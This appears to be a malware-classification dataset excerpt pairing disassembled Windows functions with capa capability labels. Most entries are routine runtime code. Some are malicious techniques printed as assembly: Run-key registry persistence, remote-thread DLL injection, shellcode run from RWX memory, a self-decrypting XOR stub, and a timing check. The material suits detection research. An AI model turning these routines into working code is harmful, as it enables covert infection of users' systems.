joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49986c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 8], 0
cmp dword [ebp + 0x10], 0
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edx, ebx
je 0x499a40
mov eax, dword [ebp + 8]
mov ecx, eax
and eax, 0x1f
sar ecx, 5
lea esi, [eax + eax*8]
lea edi, [ecx*4 + 0x511900]
mov eax, dword [edi]
shl esi, 2
add eax, esi
mov cl, byte [eax + 4]
test cl, 2
jne 0x499a40
test cl, 0x48
je 0x4998d7
cmp byte [eax + 5], 0xa
je 0x4998d7
mov eax, dword [edi]
mov al, byte [eax + esi + 5]
dec dword [ebp + 0x10]
mov byte [ebx], al
mov eax, dword [edi]
lea edx, [ebx + 1]
mov dword [ebp - 8], 1
mov byte [eax + esi + 5], 0xa
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x10]
mov eax, dword [edi]
push edx
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x499929
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 5
pop esi
cmp eax, esi
jne 0x499911
call fcn.0048fc92
mov dword [eax], 9
call fcn.0048fc9b
mov dword [eax], esi
jmp 0x499921
cmp eax, 0x6d
je 0x499a40
push eax
call fcn.0048fca4
pop ecx
or eax, 0xffffffff
jmp 0x499a42
mov eax, dword [ebp - 0xc]
mov ecx, dword [edi]
add dword [ebp - 8], eax
test byte [ecx + esi + 4], 0x80
je 0x499a3b
test eax, eax
je 0x499950
cmp byte [ebx], 0xa
jne 0x499950
mov eax, ecx
lea eax, [eax + esi + 4]
or byte [eax], 4
jmp 0x499959
mov eax, dword [edi]
lea eax, [eax + esi + 4]
and byte [eax], 0xfb
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
add ecx, eax
cmp eax, ecx
mov dword [ebp + 0x10], eax
mov dword [ebp - 8], ecx
jae 0x499a35
mov eax, dword [ebp + 0x10]
mov al, byte [eax]
cmp al, 0x1a
je 0x499a25
cmp al, 0xd
je 0x49998b
mov byte [ebx], al
inc ebx
inc dword [ebp + 0x10]
jmp 0x499a17
dec ecx
cmp dword [ebp + 0x10], ecx
jae 0x4999a5
mov eax, dword [ebp + 0x10]
inc eax
cmp byte [eax], 0xa
jne 0x4999a0
add dword [ebp + 0x10], 2
jmp 0x4999f9
mov dword [ebp + 0x10], eax
jmp 0x499a13
inc dword [ebp + 0x10]
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
mov eax, dword [edi]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4999cd
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x499a13
cmp dword [ebp - 0xc], 0
je 0x499a13
mov eax, dword [edi]
test byte [eax + esi + 4], 0x48
je 0x4999ee
mov al, byte [ebp - 1]
cmp al, 0xa
je 0x4999f9
mov byte [ebx], 0xd
mov ecx, dword [edi]
mov byte [ecx + esi + 5], al
jmp 0x499a16
cmp ebx, dword [ebp + 0xc]
jne 0x4999fe
cmp byte [ebp - 1], 0xa
jne 0x4999fe
mov byte [ebx], 0xa
jmp 0x499a16
push 1
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0049a99d
add esp, 0xc
cmp byte [ebp - 1], 0xa
je 0x499a17
mov byte [ebx], 0xd
inc ebx
mov ecx, dword [ebp - 8]
cmp dword [ebp + 0x10], ecx
jb 0x49996f
jmp 0x499a35
mov eax, dword [edi]
test byte [eax + esi + 4], 0x40
jne 0x499a35
lea esi, [eax + esi + 4]
or byte [esi], 2
sub ebx, dword [ebp + 0xc]
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
jmp 0x499a42
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x49b692
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x50dd80], ebx
push esi
push edi
jne 0x49b712
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x49b74d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4ca36c
push edi
call esi
test eax, eax
mov dword [0x50dd80], eax
je 0x49b74d
push 0x4ca35c
push edi
call esi
push 0x4ca348
push edi
mov dword [0x50dd84], eax
call esi
cmp dword [0x50d9a8], 2
mov dword [0x50dd88], eax
jne 0x49b712
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x50dd90], eax
je 0x49b712
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x50dd8c], eax
mov eax, dword [0x50dd8c]
test eax, eax
je 0x49b757
call eax
test eax, eax
je 0x49b73e
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x50dd90]
test eax, eax
je 0x49b73e
test byte [ebp - 8], 1
jne 0x49b757
cmp dword [0x50d9b4], 4
jb 0x49b751
or byte [ebp + 0x12], 0x20
jmp 0x49b776
xor eax, eax
jmp 0x49b786
or byte [ebp + 0x12], 4
jmp 0x49b776
mov eax, dword [0x50dd84]
test eax, eax
je 0x49b776
call eax
mov ebx, eax
test ebx, ebx
je 0x49b776
mov eax, dword [0x50dd88]
test eax, eax
je 0x49b776
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x50dd80]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x49b86a
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x49b898
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x49b89f
cmp ebx, dword [eax + 4]
jae 0x49b89f
xor eax, eax
jmp 0x49ba8f
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x49b8b0
xor eax, eax
inc eax
jmp 0x49ba8e
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x49b8c6
cmp ecx, edx
jae 0x49ba0b
cmp dword [eax + 4], 0
je 0x49b8cf
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x49b8b7
cmp dword [ebp + 8], 0
je 0x49b8f1
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x49ba0b
cmp eax, esi
jae 0x49ba0b
mov eax, dword [0x50dd98]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x49b916
cmp dword [esi*4 + 0x50dda0], edi
je 0x49ba0f
inc esi
cmp esi, eax
jl 0x49b904
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x49ba8b
cmp dword [ebp - 8], 0x1000000
jne 0x49ba8b
test byte [ebp - 0xc], 0xcc
je 0x49b994
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x49ba8b
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x49ba8b
cmp word [eax + 0x18], 0x10b
jne 0x49ba8b
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x49ba8b
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x49b994
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x49b994
test byte [ecx + 0x27], 0x80
jne 0x49ba0b
push 1
push 0x50dde0
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x49b8a8
mov ecx, dword [0x50dd98]
test ecx, ecx
mov edx, ecx
jle 0x49b9c8
lea eax, [ecx*4 + 0x50dd9c]
cmp dword [eax], edi
je 0x49b9c8
dec edx
sub eax, 4
test edx, edx
jg 0x49b9bc
test edx, edx
jne 0x49b9f9
push 0xf
pop ebx
cmp ecx, ebx
jg 0x49b9d5
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x49b9ed
lea eax, [edx*4 + 0x50dda0]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x49b9db
cmp ecx, 0x10
jge 0x49b9f9
inc ecx
mov dword [0x50dd98], ecx
push 0
push 0x50dde0
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
jmp 0x49b8a8
xor eax, eax
jmp 0x49ba8e
test esi, esi
jle 0x49b8a8
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 1
push 0x50dde0
call ebx
test eax, eax
jne 0x49b8a8
cmp dword [esi*4 + 0x50dda0], edi
je 0x49ba65
mov eax, dword [0x50dd98]
lea esi, [eax - 1]
test esi, esi
jl 0x49ba53
cmp dword [esi*4 + 0x50dda0], edi
je 0x49ba4f
dec esi
jns 0x49ba43
test esi, esi
jge 0x49ba63
cmp eax, 0x10
jge 0x49ba5e
inc eax
mov dword [0x50dd98], eax
lea esi, [eax - 1]
jmp 0x49ba65
je 0x49ba7d
xor ecx, ecx
test esi, esi
jl 0x49ba7d
lea eax, [ecx*4 + 0x50dda0]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x49ba6b
push 0
push 0x50dde0
call ebx
jmp 0x49b8a8
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x49e1df
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0048f080
mov eax, dword [0x4ea324]
push ebx
push esi
push 1
xor esi, esi
push esi
push dword [ebp + 8]
mov dword [ebp - 4], eax
call fcn.0049a99d
or ebx, 0xffffffff
add esp, 0xc
cmp eax, ebx
mov dword [ebp - 0x1008], eax
je 0x49e312
push 2
push esi
push dword [ebp + 8]
call fcn.0049a99d
add esp, 0xc
cmp eax, ebx
je 0x49e312
push edi
mov edi, dword [ebp + 0xc]
sub edi, eax
test edi, edi
jle 0x49e2b2
mov ebx, 0x1000
push ebx
lea eax, [ebp - 0x1004]
push esi
push eax
call fcn.00490d00
push 0x8000
push dword [ebp + 8]
call fcn.0049e320
add esp, 0x14
mov dword [ebp - 0x100c], eax
cmp edi, ebx
mov eax, ebx
jge 0x49e268
mov eax, edi
push eax
lea eax, [ebp - 0x1004]
push eax
push dword [ebp + 8]
call fcn.00499537
add esp, 0xc
cmp eax, 0xffffffff
je 0x49e288
sub edi, eax
test edi, edi
jg 0x49e260
jmp 0x49e2a0
call fcn.0048fc9b
cmp dword [eax], 5
jne 0x49e29d
call fcn.0048fc92
mov dword [eax], 0xd
or esi, 0xffffffff
push dword [ebp - 0x100c]
push dword [ebp + 8]
call fcn.0049e320
pop ecx
pop ecx
jmp 0x49e2fa
jge 0x49e2fa
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0049a99d
push dword [ebp + 8]
call fcn.0049d34c
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, ebx
jne 0x49e2fa
call fcn.0048fc92
mov dword [eax], 0xd
call fcn.0048fc9b
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi], eax
push 0
push dword [ebp - 0x1008]
push dword [ebp + 8]
call fcn.0049a99d
add esp, 0xc
mov eax, esi
pop edi
jmp 0x49e314
mov eax, ebx
mov ecx, dword [ebp - 4]
pop esi
pop ebx
call fcn.00497979
leave
ret

Function at 0x4a2ba5
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4a2bdd
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004a0c73
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004a0c4b
jmp 0x4a2be9
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4a4293
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4a42d5
call fcn.004a9c15
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4a42d5
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4a42cc
xor eax, eax
jmp 0x4a42dd
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004a42e3
pop edi
pop esi
pop ebx
ret 4
Function at 0x4aa145
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4aa173
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4aa191
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004aa0ab
jmp 0x4aa191
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4aa191
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004aa0ab
test edi, edi
mov eax, edi
jne 0x4aa17b
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x6c401323
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x448
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x114]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp + 4], 0x5c
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._strrchr
mov dword [ebp - 0xc], eax
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x218]
mov dword [esp], eax
call sym._strcpy
lea eax, [ebp - 0x114]
mov dword [esp + 4], eax
lea eax, [ebp - 0x31c]
mov dword [esp], eax
call sym._strcpy
mov dword [esp + 4], 0x5c
lea eax, [ebp - 0x31c]
mov dword [esp], eax
call sym._strrchr
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x420]
mov dword [eax], 0x74666f53
mov dword [eax + 4], 0x65726177
mov dword [eax + 8], 0x63694d5c
mov dword [eax + 0xc], 0x6f736f72
mov dword [eax + 0x10], 0x575c7466
mov dword [eax + 0x14], 0x6f646e69
mov dword [eax + 0x18], 0x435c7377
mov dword [eax + 0x1c], 0x65727275
mov dword [eax + 0x20], 0x6556746e
mov dword [eax + 0x24], 0x6f697372
mov dword [eax + 0x28], 0x75525c6e
mov word [eax + 0x2c], 0x6e
lea eax, [ebp - 0x424]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
lea eax, [ebp - 0x420]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x6c401458
mov dword [esp], str.Error:_Can_not_open_the_registry_key.
call sym._puts
jmp 0x6c4014c9
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x424]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x114]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
lea edx, [ebp - 0x218]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x6c4014b8
mov dword [esp], str.Error:_Can_not_add_the_value_to_the_registry_key.
call sym._puts
jmp 0x6c4014c9
mov eax, dword [ebp - 0x424]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
leave
ret
Function at 0x6c401559
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x6c401891
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
call eax
nop
leave
ret

Function at 0x6c401c70
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6c40603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6c406034]
sub esp, 4
test ebx, ebx
je 0x6c401cbb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6c401cb4
test esi, esi
je 0x6c401cb4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6c401c90
mov dword [esp], 0x6c40603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x6c401ea0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6c40414c
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x6c401ef0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6c401fc8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6c401f2e
cmp eax, 4
jne 0x6c401f50
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6c401f3e
cmp edx, 4
je 0x6c401f3e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6c401ea0
Function at 0x41b92a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43dc24]
jne 0x41b934
repz ret
jmp fcn.0042045b

Function at 0x429e8a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004238b7
and dword [ebp - 4], 0
cmp dword [0x441fc8], 0
mov ebx, eax
jne 0x429f3b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x429fec
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x429fec
push eax
call fcn.00423845
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x441fc8], eax
call esi
push eax
call fcn.00423845
mov dword [esp], 0x4336cc
push edi
mov dword [0x441fcc], eax
call esi
push eax
call fcn.00423845
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x441fd0], eax
call esi
push eax
call fcn.00423845
pop ecx
mov dword [0x441fd8], eax
test eax, eax
je 0x429f3b
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00423845
pop ecx
mov dword [0x441fd4], eax
mov eax, dword [0x441fd4]
cmp eax, ebx
je 0x429f93
cmp dword [0x441fd8], ebx
je 0x429f93
push eax
call fcn.004238c0
push dword [0x441fd8]
mov esi, eax
call fcn.004238c0
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x429f93
test edi, edi
je 0x429f93
call esi
test eax, eax
je 0x429f8a
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x429f8a
test byte [ebp - 0xc], 1
jne 0x429f93
or dword [ebp + 0x10], 0x200000
jmp 0x429fcc
mov eax, dword [0x441fcc]
cmp eax, ebx
je 0x429fcc
push eax
call fcn.004238c0
pop ecx
test eax, eax
je 0x429fcc
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x429fcc
mov eax, dword [0x441fd0]
cmp eax, ebx
je 0x429fcc
push eax
call fcn.004238c0
pop ecx
test eax, eax
je 0x429fcc
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x441fc8]
call fcn.004238c0
pop ecx
test eax, eax
je 0x429fec
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x429fee
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x42c624
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.00404a38
xor eax, eax
push ebp
push 0x42c752
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
call sub.user32.dll_OpenClipboard
test eax, eax
je 0x42c725
xor eax, eax
push ebp
push 0x42c71e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404848
inc eax
push eax
push 0x2002
call sub.KERNEL32.DLL_GlobalAlloc
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x42c6f3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_GlobalLock
mov ebx, eax
xor eax, eax
push ebp
push 0x42c6e2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404848
inc eax
push eax
mov eax, dword [ebp - 4]
call fcn.00404a48
mov edx, ebx
pop ecx
call fcn.00402918
call sub.user32.dll_EmptyClipboard
mov eax, dword [ebp - 8]
push eax
push 1
call sub.user32.dll_SetClipboardData
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42c6e9
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_GlobalUnlock
ret
mov ecx, dword [0x470034]
mov dl, 1
mov eax, dword [0x4078f8]
call fcn.0040c3e4
call fcn.00403f40
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42c759
lea eax, [ebp - 4]
call fcn.00404588
ret
Function at 0x430c58
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00404a48
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x430cb0
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x4704a0]
mov dl, 1
mov eax, dword [0x4305e4]
call fcn.0040c420
call fcn.00403f40
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.004306ec
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x435748
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x435694
call sub.user32.dll_EnumWindows
ret

Function at 0x435868
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x4358e5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004352c8
call sub.KERNEL32.DLL_GetTickCount
mov ebx, eax
push 0
call sub.KERNEL32.DLL_Sleep_1
call sub.KERNEL32.DLL_GetTickCount
sub eax, ebx
cmp eax, 0x3e8
jbe 0x43588d
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.00434ec8
cmp dword [ebp - 4], 0
je 0x4358cf
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.00404a48
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.user32.dll_WinHelpA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4358ec
lea eax, [ebp - 4]
call fcn.00404588
ret